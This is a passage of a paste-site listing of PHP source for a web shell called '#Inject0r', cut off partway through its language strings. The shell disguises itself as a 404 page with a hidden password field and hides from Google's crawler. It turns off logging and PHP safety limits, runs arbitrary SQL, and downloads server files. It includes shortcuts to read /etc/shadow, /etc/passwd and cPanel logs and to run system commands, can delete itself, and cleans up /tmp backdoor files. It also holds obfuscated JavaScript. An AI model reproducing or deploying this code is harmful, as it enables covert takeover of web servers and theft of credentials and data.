· 10 years ago · Jul 25, 2016, 01:42 AM
1<?php
2$auth_pass = "b2086154f101464aab3328ba7e060deb";
3$color = "#00ff00";
4$default_action = 'FilesMan';
5@define('SELF_PATH', __FILE__);
6if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
7 header('HTTP/1.0 404 Not Found');
8 exit;
9}
10@session_start();
11@error_reporting(0);
12@ini_set('error_log',NULL);
13@ini_set('log_errors',0);
14@ini_set('max_execution_time',0);
15@ini_set('display_errors', 0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', '2.1');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 ?>
27<h1>Not Found</h1>
28<p>The requested URL was not found on this server.</p>
29<hr>
30<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
31 <style>
32 input { margin:0;background-color:#fff;border:1px solid #fff; }
33 </style>
34 <center>
35 <form method=post>
36 <input type=password name=pass>
37 </form></center>
38 <?php
39 exit;
40}
41if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
42 if( empty( $auth_pass ) ||
43 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
44 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
45 else
46 printLogin();
47
48?>
49<?php
50
51
52#*********************************************
53# #x-Inject0r
54# Moroccan Hackers
55#*********************************************
56
57error_reporting(0);
58
59$language='eng';
60
61$auth = 0;
62
63$name='';
64$pass='';
65
66@ini_restore("safe_mode");
67@ini_restore("open_basedir");
68@ini_restore("safe_mode_include_dir");
69@ini_restore("safe_mode_exec_dir");
70@ini_restore("disable_functions");
71@ini_restore("allow_url_fopen");
72
73@ini_set('error_log',NULL);
74@ini_set('log_errors',0);
75
76if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
77
78define("starttime",@getmicrotime());
79set_magic_quotes_runtime(0);
80@set_time_limit(0);
81@ini_set('max_execution_time',0);
82@ini_set('output_buffering',0);
83$safe_mode = @ini_get('safe_mode');
84#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
85$version = '1.00';
86if(@version_compare(@phpversion(), '4.1.0') == -1)
87 {
88 $_POST = &$HTTP_POST_VARS;
89 $_GET = &$HTTP_GET_VARS;
90 $_SERVER = &$HTTP_SERVER_VARS;
91 $_COOKIE = &$HTTP_COOKIE_VARS;
92 }
93if (@get_magic_quotes_gpc())
94 {
95 foreach ($_POST as $k=>$v)
96 {
97 $_POST[$k] = stripslashes($v);
98 }
99 foreach ($_COOKIE as $k=>$v)
100 {
101 $_COOKIE[$k] = stripslashes($v);
102 }
103 }
104
105if($auth == 1) {
106if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
107 {
108 header('WWW-Authenticate: Basic realm="HELLO!"');
109 header('HTTP/1.0 401 Unauthorized');
110 exit("<b>Access Denied. You need to contact v4 Team for password!</b>");
111 }
112}
113$head = '
114<html>
115<head>
116<title>#Inject0r - SheLL </title>
117<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
118<script type="text/javascript" language="javascript">
119<!--
120ML="C:cj/Sizm<rPs.R=>pIohT tel";
121MI="950>B;EF5>0?DGGA144<DHIIH:7=2C84267=3<@9450>B;E@";
122OT="";
123for(j=0;j<MI.length;j++){
124OT+=ML.charAt(MI.charCodeAt(j)-48);
125}document.write(OT);
126// --></script>
127
128<STYLE>
129tr {
130BORDER-RIGHT: #aaaaaa 1px solid;
131BORDER-TOP: #eeeeee 1px solid;
132BORDER-LEFT: #eeeeee 1px solid;
133BORDER-BOTTOM: #aaaaaa 1px solid;
134color: #FFFFFF;
135}
136td {
137BORDER-RIGHT: #aaaaaa 1px solid;
138BORDER-TOP: #eeeeee 1px solid;
139BORDER-LEFT: #eeeeee 1px solid;
140BORDER-BOTTOM: #aaaaaa 1px solid;
141color: #FFFFFF;
142}
143.table1 {
144BORDER: 0px;
145BACKGROUND-COLOR: #181818;
146color: #FFFFFF;
147}
148.td1 {
149BORDER: 0px;
150font: 7pt Verdana;
151color: #FFFFFF;
152}
153.tr1 {
154BORDER: 0px;
155color: #FFFFFF;
156}
157table {
158BORDER: #eeeeee 1px outset;
159BACKGROUND-COLOR: #181818;
160color: #FFFFFF;
161}
162input {
163BORDER-RIGHT: #ffffff 1px solid;
164BORDER-TOP: #999999 1px solid;
165BORDER-LEFT: #999999 1px solid;
166BORDER-BOTTOM: #ffffff 1px solid;
167BACKGROUND-COLOR: #000000;
168font: 8pt Verdana;
169color: #FFFFFF;
170}
171select {
172BORDER-RIGHT: #ffffff 1px solid;
173BORDER-TOP: #999999 1px solid;
174BORDER-LEFT: #999999 1px solid;
175BORDER-BOTTOM: #ffffff 1px solid;
176BACKGROUND-COLOR: #000000;
177font: 8pt Verdana;
178color: #FFFFFF;;
179}
180submit {
181BORDER: buttonhighlight 2px outset;
182BACKGROUND-COLOR: #000000;
183width: 30%;
184color: #FFFFFF;
185}
186textarea {
187BORDER-RIGHT: #ffffff 1px solid;
188BORDER-TOP: #999999 1px solid;
189BORDER-LEFT: #999999 1px solid;
190BORDER-BOTTOM: #ffffff 1px solid;
191BACKGROUND-COLOR: #000000;
192font: Fixedsys bold;
193color: #FFFFFF;
194}
195BODY {
196margin: 1px;
197color: #FFFFFF;
198background-color: #000000;
199}
200A:link {COLOR:red; TEXT-DECORATION: none}
201A:visited { COLOR:red; TEXT-DECORATION: none}
202A:active {COLOR:red; TEXT-DECORATION: none}
203A:hover {color:067AFC;TEXT-DECORATION: none}
204</STYLE>
205<script language=\'javascript\'>
206function hide_div(id)
207{
208 document.getElementById(id).style.display = \'none\';
209 document.cookie=id+\'=0;\';
210}
211function show_div(id)
212{
213 document.getElementById(id).style.display = \'block\';
214 document.cookie=id+\'=1;\';
215}
216function change_divst(id)
217{
218 if (document.getElementById(id).style.display == \'none\')
219 show_div(id);
220 else
221 hide_div(id);
222}
223
224
225</script>';
226class zipfile
227{
228 var $datasec = array();
229 var $ctrl_dir = array();
230 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
231 var $old_offset = 0;
232 function unix2DosTime($unixtime = 0) {
233 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
234 if ($timearray['year'] < 1980) {
235 $timearray['year'] = 1980;
236 $timearray['mon'] = 1;
237 $timearray['mday'] = 1;
238 $timearray['hours'] = 0;
239 $timearray['minutes'] = 0;
240 $timearray['seconds'] = 0;
241 }
242 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
243 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
244 }
245 function addFile($data, $name, $time = 0)
246 {
247 $name = str_replace('\\', '/', $name);
248 $dtime = dechex($this->unix2DosTime($time));
249 $hexdtime = '\x' . $dtime[6] . $dtime[7]
250 . '\x' . $dtime[4] . $dtime[5]
251 . '\x' . $dtime[2] . $dtime[3]
252 . '\x' . $dtime[0] . $dtime[1];
253 eval('$hexdtime = "' . $hexdtime . '";');
254 $fr = "\x50\x4b\x03\x04";
255 $fr .= "\x14\x00";
256 $fr .= "\x00\x00";
257 $fr .= "\x08\x00";
258 $fr .= $hexdtime;
259 $unc_len = strlen($data);
260 $crc = crc32($data);
261 $zdata = gzcompress($data);
262 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
263 $c_len = strlen($zdata);
264 $fr .= pack('V', $crc);
265 $fr .= pack('V', $c_len);
266 $fr .= pack('V', $unc_len);
267 $fr .= pack('v', strlen($name));
268 $fr .= pack('v', 0);
269 $fr .= $name;
270 $fr .= $zdata;
271 $this -> datasec[] = $fr;
272 $cdrec = "\x50\x4b\x01\x02";
273 $cdrec .= "\x00\x00";
274 $cdrec .= "\x14\x00";
275 $cdrec .= "\x00\x00";
276 $cdrec .= "\x08\x00";
277 $cdrec .= $hexdtime;
278 $cdrec .= pack('V', $crc);
279 $cdrec .= pack('V', $c_len);
280 $cdrec .= pack('V', $unc_len);
281 $cdrec .= pack('v', strlen($name) );
282 $cdrec .= pack('v', 0 );
283 $cdrec .= pack('v', 0 );
284 $cdrec .= pack('v', 0 );
285 $cdrec .= pack('v', 0 );
286 $cdrec .= pack('V', 32 );
287 $cdrec .= pack('V', $this -> old_offset );
288 $this -> old_offset += strlen($fr);
289 $cdrec .= $name;
290 $this -> ctrl_dir[] = $cdrec;
291 }
292 function file()
293 {
294 $data = implode('', $this -> datasec);
295 $ctrldir = implode('', $this -> ctrl_dir);
296 return
297 $data .
298 $ctrldir .
299 $this -> eof_ctrl_dir .
300 pack('v', sizeof($this -> ctrl_dir)) .
301 pack('v', sizeof($this -> ctrl_dir)) .
302 pack('V', strlen($ctrldir)) .
303 pack('V', strlen($data)) .
304 "\x00\x00";
305 }
306}
307
308function compress(&$filename,&$filedump,$compress)
309 {
310 global $content_encoding;
311 global $mime_type;
312 if ($compress == 'bzip' && @function_exists('bzcompress'))
313 {
314 $filename .= '.bz2';
315 $mime_type = 'application/x-bzip2';
316 $filedump = bzcompress($filedump);
317 }
318 else if ($compress == 'gzip' && @function_exists('gzencode'))
319 {
320 $filename .= '.gz';
321 $content_encoding = 'x-gzip';
322 $mime_type = 'application/x-gzip';
323 $filedump = gzencode($filedump);
324 }
325 else if ($compress == 'zip' && @function_exists('gzcompress'))
326 {
327 $filename .= '.zip';
328 $mime_type = 'application/zip';
329 $zipfile = new zipfile();
330 $zipfile -> addFile($filedump, substr($filename, 0, -4));
331 $filedump = $zipfile -> file();
332 }
333 else
334 {
335 $mime_type = 'application/octet-stream';
336 }
337 }
338
339function moreread($temp){
340global $lang,$language;
341$str='';
342 if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){
343 $ffile = @fopen($temp, "r");
344 while(!@feof($ffile)){$str .= @fgets($ffile);}
345 fclose($ffile);
346 }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){
347 $ffile = @fopen($temp, "r");
348 $str = @fread($ffile, @filesize($temp));
349 @fclose($ffile);
350 }elseif(@function_exists('file')){
351 $ffiles = @file ($temp);
352 foreach ($ffiles as $ffile) { $str .= $ffile; }
353 }elseif(@function_exists('file_get_contents')){
354 $str = @file_get_contents($temp);
355 }elseif(@function_exists('readfile')){
356 $str = @readfile($temp);
357 }else{echo $lang[$language.'_text56'];}
358return $str;
359}
360
361function readzlib($filename,$temp=''){
362global $lang,$language;
363$str='';
364 if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
365 if(@copy("compress.zlib://".$filename, $temp)) {
366 $str = moreread($temp);
367 } else echo $lang[$language.'_text119'];
368 @unlink($temp);
369return $str;
370}
371
372function mailattach($to,$from,$subj,$attach)
373 {
374 $headers = "From: $from\r\n";
375 $headers .= "MIME-Version: 1.0\r\n";
376 $headers .= "Content-Type: ".$attach['type'];
377 $headers .= "; name=\"".$attach['name']."\"\r\n";
378 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
379 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
380 if(mail($to,$subj,"",$headers)) { return 1; }
381 return 0;
382 }
383class my_sql
384 {
385 var $host = 'localhost';
386 var $port = '';
387 var $user = '';
388 var $pass = '';
389 var $base = '';
390 var $db = '';
391 var $connection;
392 var $res;
393 var $error;
394 var $rows;
395 var $columns;
396 var $num_rows;
397 var $num_fields;
398 var $dump;
399
400 function connect()
401 {
402 switch($this->db)
403 {
404 case 'MySQL':
405 if(empty($this->port)) { $this->port = '3306'; }
406 if(!@function_exists('mysql_connect')) return 0;
407 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
408 if(is_resource($this->connection)) return 1;
409 break;
410 case 'MSSQL':
411 if(empty($this->port)) { $this->port = '1433'; }
412 if(!@function_exists('mssql_connect')) return 0;
413 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
414 if($this->connection) return 1;
415 break;
416 case 'PostgreSQL':
417 if(empty($this->port)) { $this->port = '5432'; }
418 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
419 if(!@function_exists('pg_connect')) return 0;
420 $this->connection = @pg_connect($str);
421 if(is_resource($this->connection)) return 1;
422 break;
423 case 'Oracle':
424 if(!@function_exists('ocilogon')) return 0;
425 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
426 if(is_resource($this->connection)) return 1;
427 break;
428 }
429 return 0;
430 }
431
432 function select_db()
433 {
434 switch($this->db)
435 {
436 case 'MySQL':
437 if(@mysql_select_db($this->base,$this->connection)) return 1;
438 break;
439 case 'MSSQL':
440 if(@mssql_select_db($this->base,$this->connection)) return 1;
441 break;
442 case 'PostgreSQL':
443 return 1;
444 break;
445 case 'Oracle':
446 return 1;
447 break;
448 }
449 return 0;
450 }
451
452 function query($query)
453 {
454 $this->res=$this->error='';
455 switch($this->db)
456 {
457 case 'MySQL':
458 if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
459 {
460 $this->error = @mysql_error($this->connection);
461 return 0;
462 }
463 else if(is_resource($this->res)) { return 1; }
464 return 2;
465 break;
466 case 'MSSQL':
467 if(false===($this->res=@mssql_query($query,$this->connection)))
468 {
469 $this->error = 'Query error';
470 return 0;
471 }
472 else if(@mssql_num_rows($this->res) > 0) { return 1; }
473 return 2;
474 break;
475 case 'PostgreSQL':
476 if(false===($this->res=@pg_query($this->connection,$query)))
477 {
478 $this->error = @pg_last_error($this->connection);
479 return 0;
480 }
481 else if(@pg_num_rows($this->res) > 0) { return 1; }
482 return 2;
483 break;
484 case 'Oracle':
485 if(false===($this->res=@ociparse($this->connection,$query)))
486 {
487 $this->error = 'Query parse error';
488 }
489 else
490 {
491 if(@ociexecute($this->res))
492 {
493 if(@ocirowcount($this->res) != 0) return 2;
494 return 1;
495 }
496 $error = @ocierror();
497 $this->error=$error['message'];
498 }
499 break;
500 }
501 return 0;
502 }
503 function get_result()
504 {
505 $this->rows=array();
506 $this->columns=array();
507 $this->num_rows=$this->num_fields=0;
508 switch($this->db)
509 {
510 case 'MySQL':
511 $this->num_rows=@mysql_num_rows($this->res);
512 $this->num_fields=@mysql_num_fields($this->res);
513 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
514 @mysql_free_result($this->res);
515 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
516 break;
517 case 'MSSQL':
518 $this->num_rows=@mssql_num_rows($this->res);
519 $this->num_fields=@mssql_num_fields($this->res);
520 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
521 @mssql_free_result($this->res);
522 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
523 break;
524 case 'PostgreSQL':
525 $this->num_rows=@pg_num_rows($this->res);
526 $this->num_fields=@pg_num_fields($this->res);
527 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
528 @pg_free_result($this->res);
529 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
530 break;
531 case 'Oracle':
532 $this->num_fields=@ocinumcols($this->res);
533 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
534 @ocifreestatement($this->res);
535 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
536 break;
537 }
538 return 0;
539 }
540 function dump($table)
541 {
542 if(empty($table)) return 0;
543 $this->dump=array();
544 $this->dump[0] = '##';
545 $this->dump[1] = '## --------------------------------------- ';
546 $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
547 $this->dump[3] = '## Database: '.$this->base;
548 $this->dump[4] = '## Table: '.$table;
549 $this->dump[5] = '## --------------------------------------- ';
550 switch($this->db)
551 {
552 case 'MySQL':
553 $this->dump[0] = '## MySQL dump';
554 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
555 if(!$this->get_result()) return 0;
556 $this->dump[] = $this->rows[0]['Create Table'];
557 $this->dump[] = '## --------------------------------------- ';
558 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
559 if(!$this->get_result()) return 0;
560 for($i=0;$i<$this->num_rows;$i++)
561 {
562 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
563 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
564 }
565 break;
566 case 'MSSQL':
567 $this->dump[0] = '## MSSQL dump';
568 if($this->query('SELECT * FROM '.$table)!=1) return 0;
569 if(!$this->get_result()) return 0;
570 for($i=0;$i<$this->num_rows;$i++)
571 {
572 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
573 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
574 }
575 break;
576 case 'PostgreSQL':
577 $this->dump[0] = '## PostgreSQL dump';
578 if($this->query('SELECT * FROM '.$table)!=1) return 0;
579 if(!$this->get_result()) return 0;
580 for($i=0;$i<$this->num_rows;$i++)
581 {
582 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
583 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
584 }
585 break;
586 case 'Oracle':
587 $this->dump[0] = '## ORACLE dump';
588 $this->dump[] = '## under construction';
589 break;
590 default:
591 return 0;
592 break;
593 }
594 return 1;
595 }
596 function close()
597 {
598 switch($this->db)
599 {
600 case 'MySQL':
601 @mysql_close($this->connection);
602 break;
603 case 'MSSQL':
604 @mssql_close($this->connection);
605 break;
606 case 'PostgreSQL':
607 @pg_close($this->connection);
608 break;
609 case 'Oracle':
610 @oci_close($this->connection);
611 break;
612 }
613 }
614 function affected_rows()
615 {
616 switch($this->db)
617 {
618 case 'MySQL':
619 return @mysql_affected_rows($this->res);
620 break;
621 case 'MSSQL':
622 return @mssql_affected_rows($this->res);
623 break;
624 case 'PostgreSQL':
625 return @pg_affected_rows($this->res);
626 break;
627 case 'Oracle':
628 return @ocirowcount($this->res);
629 break;
630 default:
631 return 0;
632 break;
633 }
634 }
635 }
636if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
637 {
638 if($file=@fopen($_POST['d_name'],"r")){ $filedump = @fread($file,@filesize($_POST['d_name'])); @fclose($file); }
639 else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
640 if(isset($_POST['cmd']))
641 {
642 @ob_clean();
643 $filename = @basename($_POST['d_name']);
644 $content_encoding=$mime_type='';
645 compress($filename,$filedump,$_POST['compress']);
646 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
647 header("Content-type: ".$mime_type);
648 header("Content-disposition: attachment; filename=\"".$filename."\";");
649 echo $filedump;
650 exit();
651 }
652 }
653if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
654if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
655 {
656 echo $head;
657 $sql = new my_sql();
658 $sql->db = $_POST['db'];
659 $sql->host = $_POST['db_server'];
660 $sql->port = $_POST['db_port'];
661 $sql->user = $_POST['mysql_l'];
662 $sql->pass = $_POST['mysql_p'];
663 $sql->base = $_POST['mysql_db'];
664 $querys = @explode(';',$_POST['db_query']);
665 echo '<body bgcolor=#000000>';
666 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
667 else
668 {
669 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
670 else
671 {
672 foreach($querys as $num=>$query)
673 {
674 if(strlen($query)>5)
675 {
676 echo "<font face=Verdana size=-2 color=2BD53F><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
677 switch($sql->query($query))
678 {
679 case '0':
680 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
681 break;
682 case '1':
683 if($sql->get_result())
684 {
685 echo "<table width=100%>";
686 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
687 $keys = @implode(" </b></font></td><td bgcolor=#0C0C0C><font face=Verdana size=-2><b> ", $sql->columns);
688 echo "<tr><td bgcolor=#0C0C0C><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
689 for($i=0;$i<$sql->num_rows;$i++)
690 {
691 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
692 $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
693 echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
694 }
695 echo "</table>";
696 }
697 break;
698 case '2':
699 $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
700 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
701 break;
702 }
703 }
704 }
705 }
706 }
707 echo "<br><form name=form method=POST>";
708 echo in('hidden','db',0,$_POST['db']);
709 echo in('hidden','db_server',0,$_POST['db_server']);
710 echo in('hidden','db_port',0,$_POST['db_port']);
711 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
712 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
713 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
714 echo in('hidden','cmd',0,'db_query');
715 echo "<div align=center>";
716 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
717 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
718 echo "</form>";
719 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
720 }
721if(isset($_GET['Delete']))
722 {
723 @unlink(__FILE__);
724 }
725if(isset($_GET['tmp']))
726 {
727 @unlink("/tmp/bdpl");
728 @unlink("/tmp/back");
729 @unlink("/tmp/bd");
730 @unlink("/tmp/bd.c");
731 @unlink("/tmp/dp");
732 @unlink("/tmp/dpc");
733 @unlink("/tmp/dpc.c");
734 @unlink("/tmp/prxpl");
735 @unlink("/tmp/grep.txt");
736 }
737if(isset($_GET['phpini']))
738{
739echo $head;
740function U_value($value)
741 {
742 if ($value == '') return '<i>no value</i>';
743 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
744 if ($value === null) return 'NULL';
745 if (@is_object($value)) $value = (array) $value;
746 if (@is_array($value))
747 {
748 @ob_start();
749 print_r($value);
750 $value = @ob_get_contents();
751 @ob_end_clean();
752 }
753 return U_wordwrap((string) $value);
754 }
755function U_wordwrap($str)
756 {
757 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
758 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
759 }
760if (@function_exists('ini_get_all'))
761 {
762 $r = '';
763 echo '<table width=100%>', '<tr><td bgcolor=#0C0C0C><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#0C0C0C><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#0C0C0C><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
764 foreach (@ini_get_all() as $key=>$value)
765 {
766 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
767 }
768 echo $r;
769 echo '</table>';
770 }
771echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
772die();
773}
774if(isset($_GET['cpu']))
775 {
776 echo $head;
777 echo '<table width=100%><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
778 $cpuf = @file("cpuinfo");
779 if($cpuf)
780 {
781 $c = @sizeof($cpuf);
782 for($i=0;$i<$c;$i++)
783 {
784 $info = @explode(":",$cpuf[$i]);
785 if($info[1]==""){ $info[1]="---"; }
786 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
787 }
788 echo $r;
789 }
790 else
791 {
792 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
793 }
794 echo '</table>';
795 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
796 die();
797 }
798if(isset($_GET['mem']))
799 {
800 echo $head;
801 echo '<table width=100%><tr><td bgcolor=#0C0C0C><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
802 $memf = @file("meminfo");
803 if($memf)
804 {
805 $c = sizeof($memf);
806 for($i=0;$i<$c;$i++)
807 {
808 $info = explode(":",$memf[$i]);
809 if($info[1]==""){ $info[1]="---"; }
810 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
811 }
812 echo $r;
813 }
814 else
815 {
816 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
817 }
818 echo '</table>';
819 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
820 die();
821 }
822
823if(isset($_GET['dmesg(8)']))
824 {$_POST['cmd'] = 'dmesg(8)';}
825if(isset($_GET['free']))
826 {$_POST['cmd'] = 'free';}
827if(isset($_GET['accounts']))
828 {$_POST['cmd'] = 'cat /var/cpanel/accounting.log';}
829if(isset($_GET['vmstat']))
830 {$_POST['cmd'] = 'vmstat';}
831if(isset($_GET['lspci']))
832 {$_POST['cmd'] = 'lspci';}
833if(isset($_GET['lsdev']))
834 {$_POST['cmd'] = 'lsdev';}
835if(isset($_GET['procinfo']))
836 {$_POST['cmd']='cat /proc/cpuinfo';}
837if(isset($_GET['version']))
838 {$_POST['cmd']='cat /proc/version';}
839if(isset($_GET['interrupts']))
840 {$_POST['cmd']='cat /proc/interrupts';}
841if(isset($_GET['realise1']))
842 {$_POST['cmd'] = 'cat /etc/*realise';}
843if(isset($_GET['service']))
844 {$_POST['cmd'] = 'service --status-all';}
845if(isset($_GET['ifconfig']))
846 {$_POST['cmd'] = 'ifconfig';}
847if(isset($_GET['w']))
848 {$_POST['cmd'] = 'w';}
849if(isset($_GET['who']))
850 {$_POST['cmd'] = 'who';}
851if(isset($_GET['uptime']))
852 {$_POST['cmd'] = 'uptime';}
853if(isset($_GET['last']))
854 {$_POST['cmd'] = 'last -n 10';}
855if(isset($_GET['psaux']))
856 {$_POST['cmd'] = 'ps -aux';}
857if(isset($_GET['netstat']))
858 {$_POST['cmd'] = 'netstat -a';}
859if(isset($_GET['sbin']))
860 {$_POST['cmd'] = 'ls -al /usr/sbin';}
861if(isset($_GET['lsattr']))
862 {$_POST['cmd'] = 'lsattr -va';}
863if(isset($_GET['syslog']))
864 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
865if(isset($_GET['fstab']))
866 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
867if(isset($_GET['fdisk']))
868 {$_POST['cmd'] = 'fdisk -l';}
869if(isset($_GET['df']))
870 {$_POST['cmd'] = 'df -h';}
871if(isset($_GET['realise2']))
872 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
873if(isset($_GET['hosts']))
874 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
875if(isset($_GET['resolv']))
876 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
877if(isset($_GET['systeminfo']))
878 {$_POST['cmd'] = 'systeminfo';}
879if(isset($_GET['shadow']))
880 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
881if(isset($_GET['passwd']))
882 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
883#if(isset($_GET['']))
884# {$_POST['cmd'] = '';}
885
886$lang=array(
887'eng_text1' =>'Last executed command',
888'eng_text2' =>'Execute command on server',
889'eng_text3' =>'Run command',
890'eng_text4' =>'Work directory',
891'eng_text5' =>'Upload files on server',
892'eng_text6' =>'Local file',
893'eng_text7' =>'Locate Important Files',
894'eng_text8' =>'Select alias',
895'eng_butt1' =>'Execute',
896'eng_butt2' =>'Upload',
